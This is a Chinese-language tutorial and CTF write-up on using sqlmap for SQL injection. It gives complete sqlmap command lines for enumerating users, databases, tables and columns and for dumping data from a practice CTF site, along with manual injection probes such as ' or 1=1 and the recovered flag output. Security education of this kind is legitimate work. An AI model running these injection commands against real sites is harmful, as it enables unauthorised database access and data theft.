通过利用综合web扫描工具,我们可以很全面自动化的获取 某个站点的安全信息. 那么为什么还要单独说sql注入的某一个工具呢? 一是因为sql注入非常经典,而且在线下线上比赛中用的可能性很多,其次是因为sql注入一旦成功很可能就直接获取了网站admin权限. 危害太大.
而sqlmap又是sql注入经典利器(py编写),所以它的使用也值得单独拿出来说一下.
“尽信书不如无书.”
0x00. sqlmap简介
sql注入作为可能是最经典的web安全漏洞,可能跟XSS并为普通程序员所知最广的.(当然现在基本都防护很好了). 根本原因是因为db在服务器端执行了不合法的sql代码,而形成了拼接用户输入数据的情况.
官网下载地址. sqlmap命令操作,py2.7运行,暂不支持3.x.(当然也可以去官网看看最新支持没.).所以可以很容易在kali / linux下看到它.
sqlmap为什么是sql注入神器,没有之一呢?上图,支持非常广,参数非常多,
0x01.sql注入基本流程&使用
1.基本流程
官网下载解压之后. 用py运行. 看到如下界面说明ok了
可能会有人说不是报错了么. 阅读一下error信息就知道了.
那么说一下SQL注入实战的时候利用基本流程
找到跟数据库打交道的页面.
- 登录注册
- 文章/信息列表. 标志是
pid = x或者是list = x,这样
简单判断当前页面是否存在明显的sql注入
加单引号xx.jsp?id=3 '看是否有提示报错盲注
xx.jsp?id=1 or 1=1‘ 等等如果发现有提示sql语句报错,基本就是存在sql注入漏洞的.那么就可以上sqlmap开始尝试获取信息了.
dump导出数据保存下来(CTF中flag一般也在其中)
2.实际使用
基本语法跟参数. sqlmap提供了很完整的命令提示,所以习惯了命令的同学上手是很快的,
比如常见命令探测注入点 python sqlmap.py -i "注入url" 如图
然后sqlmap会自动开始进行尝试并获取基本信息. 比如这个测试站点跑了之后就可以得到数据库版本跟类型. 就可以很大的加快我们探索的进度.
然后针对mysql再进去一步步的探测. 忘记了命令就-h 看看,sqlmap的文件目录下面有很多字典. 也有不少payload. (以后慢慢领悟,它跟webshell都值得思考)
0x02.实战演示
1.CTF0x01
上手是实验吧CTF的一个例子(get方式传参.). 网页地址
通过对上面的url进行扫描,并跳过非mysql探测,很快得到了结果此处可注入. 并且给出了注入用的payload参考.现在已经确定注入点存在滞后. 然后再怎么继续呢? 常见思路以下步骤
users信息
1
sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --users
这里发现当前权限可以得到一个用户
db信息
1
sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --dbs
可以发现有了几只常见的db,从名字上就优先看非官方自带的.(information_schema后管)
PS : 这里还要注意,这是用户一个,db也很少的情况,实际中用户都会很多,db更是一堆.要提高我们渗透的效率,就需要查看当前的用户的数据库.
1
sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --current-user --current-db
那么就开始读取db内的数据了.
tables信息
1
sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --tables -D "my_db"
得到一波稳定的反馈: (显然是先看xxkey. xxflag相关的咯,当然不排除特意狗我们一波..
column信息
1
sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --column -T "thiskey" -D "my_db"
实际测试的时候发现不带最后的指定数据库也可以.唔,是因为记忆搜索了么?建议还是带上.
那么,已经快接近终点了.(为了严谨起见,一般我们还会看看表有多少条数据. )
1
2
3
4
5
6
7
8sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --count -T "thiskey" -D "my_db"
输出如下.只有一条说明
Database: my_db
+---------+---------+
| Table | Entries |
+---------+---------+
| thiskey | 1 |
+---------+---------+key信息
基于上面的探测,我们已经可以知道要去取这个表里的数据了. 这里并不是直接取,而是用dump去导出.有时候信息可能是加密之后的hash值,可能需要破解,sqlmap会有提示.
1
2
3
4
5
6
7
8
9
10sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --dump -T "thiskey" -D "my_db"
得到flag
Database: my_db
Table: thiskey
[1 entry]
+----------------+
| k0y |
+----------------+
| whatiMyD91dump |
+----------------+
补充:
1.如果信息很多的时候,比如有100条数据,我们通过其他得知在80~90之间.那么可以加参数去优化.默认数据保存路径一般最好换一下.
1 | sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --dump -T "thiskey" -D "my_db" --start 80 --stop 90 |
2.如果目标数据比较多,不想一个个导出, 就可以一次全部导出之间看csv.
1 | sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --dump-all -D "my_db" |
3.这上面演示的是最常见的get方式请求参数,那么现在实际中很多请求都是用post去提交了,怎么去注入呢?一般有两个办法.一是通过抓包工具,或者AWVS这种扫出具体的可注入页面的数据包文件.
把数据包文件丢sqlmap下,用 sqlmap.py -r “filename.xxx” 回车去扫描
更简单的就是在刚才的基础上,手动把post传的参数拼进去.
1
sqlmap.py -u "url" --data="usrname=a&passwd=b" #例如这样的形式.然后之后的操作跟get一样
2. CTF0x02
sql基础题01地址 给了一个输入框,用id传参,简单测试 ' or 1=1 发现存在sql注入点.直接sqlmap跑,发现如下提示,当然是先输入n,不然跑一年. 然后发现直接失败了….唔
- for the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values? [Y/n] n
- [WARNING] time-based comparison requires larger statistical model, please wait…
- [红色CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option ‘–time-sec’ as possible (e.g. 10 or more)
然后我根据提示重新加了一下.换成如下.发现提示不一样了. 有一只302
1 | sqlmap.py -u "http://ctf5.shiyanbar.com/423/web/?id=1" --time-sec 20 |
然后一直GG中,很多字符被过滤了,很心疼.想想办法等下… (果然还是要多手注呀)
0x03. 反思展望
sqlmap的强大可能一下就能体验到了.那么有几个问题值得思考
- sqlmap中的level参数是什么用
- sqlmap中的risk参数是什么用
- 啊D,明小子,Pangolin 等于是比较经典的sql注入工具,可以尝试对比一下区别.









